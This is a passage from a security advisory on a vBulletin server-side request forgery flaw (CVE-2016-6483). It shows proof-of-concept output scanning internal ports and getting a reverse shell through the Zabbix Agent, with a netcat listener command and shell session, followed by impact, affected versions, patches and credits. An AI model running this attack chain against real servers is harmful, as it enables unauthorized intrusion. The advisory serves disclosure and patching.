Target vBulletin URL: http://192.168.57.10/vBulletin522new/link/getlinkdata
Scan ports between: 20 - 85

Are these settings correct? Hit enter to start the port scan... 

* Testing connection to vulnerable script at [http://192.168.57.10/vBulletin522new/link/getlinkdata]

Got the right response from the URL. The target looks vulnerable!

Let's begin!

* Starting our redirect base server on 192.168.57.10:443 

* Scanning local ports from 20 to 85 on [http://192.168.57.10/vBulletin522new/] target 

http://0.0.0.0:443/
192.168.57.10:58675 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /20" - 301
192.168.57.10:58679 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /21" - 301
192.168.57.10:58683 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /22" - 301
Conection opened for 2 seconds. Port 22 is opened!

192.168.57.10:58686 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /23" - 301
192.168.57.10:58690 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /24" - 301
192.168.57.10:58694 - - [30/Jul/2016 03:00:28] "HTTP/1.1 GET /25" - 301
Conection opened for 2 seconds. Port 25 is opened!

192.168.57.10:58697 - - [30/Jul/2016 03:00:30] "HTTP/1.1 GET /26" - 301
[...]
192.168.57.10:58909 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /79" - 301
192.168.57.10:58913 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /80" - 301
Conection opened for 2 seconds. Port 80 is opened!

192.168.57.10:58917 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /81" - 301
192.168.57.10:58921 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /82" - 301
192.168.57.10:58925 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /83" - 301
192.168.57.10:58929 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /84" - 301
192.168.57.10:58933 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /85" - 301

Scanning done in 14 seconds. 

* Opened ports on the target [http://192.168.57.10/vBulletin522new/]: 

Port 22 : Opened

Port 25 : Opened

Port 80 : Opened


Anything juicy? :)

Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] y

* Executing reverse shell via Zabbix Agent (10050).
192.168.57.10:58940 - - [30/Jul/2016 03:00:45] "HTTP/1.1 GET /zabbixcmd_redir" - 301

Looks like Zabbix Agent executed our bash payload! Check your netcat listening on port 8080 for shell! :)


Job done. Exiting


Here is how the netcat session looks like after a sucessful exploitation:

$ nc -vvv -l -p 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [192.168.57.10] port 8080 [tcp/*] accepted (family 2, sport 54259)

zabbix@trusty:/$ id
id
uid=122(zabbix) gid=129(zabbix) groups=129(zabbix)
zabbix@trusty:/$ 



As we can see reverse shell was executed on the target which sucessfully
connected back to the attacker's netcat listener.

VI. BUSINESS IMPACT
-------------------------

The vulnerability can expose internal services running on the server/within 
the local network. 
If not patched, unauthenticated attackers or automated scanners searching for
vulnerable servers could send malicious data to internal services.
Depending on services in use, the impact could range from sensitive information
disclosure, sending spam, DoS/data loss to code execution as demonstrated by 
the PoC exploit in this advisory.

 
VII. SYSTEMS AFFECTED
-------------------------

All vBulletin forums in all branches (5.x, 4.x , 3.x) without the latest patches
named in the next section are affected by this vulnerability. 

 
VIII. SOLUTION
-------------------------

Upon this advisory, vendor has published the following security releases of
vBulletin for each of the affected branches:


 vBulletin 5.2.3

 vBulletin 4.2.4 Beta

 vBulletin 3.8.10 Beta


Separate patches have also been released (see references below).
 
IX. REFERENCES
-------------------------

http://legalhackers.com

http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6483 

vBulletin patches:

http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349551-security-patch-vbulletin-5-2-0-5-2-1-5-2-2

http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349549-security-patch-vbulletin-4-2-2-4-2-3-4-2-4-beta

http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349548-security-patch-vbulletin-3-8-7-3-8-8-3-8-9-3-8-10-beta

X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski

dawid (at) legalhackers (dot) com
http://legalhackers.com
 
XI. REVISION HISTORY
-------------------------

05.08.2016 - final advisory released
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
'''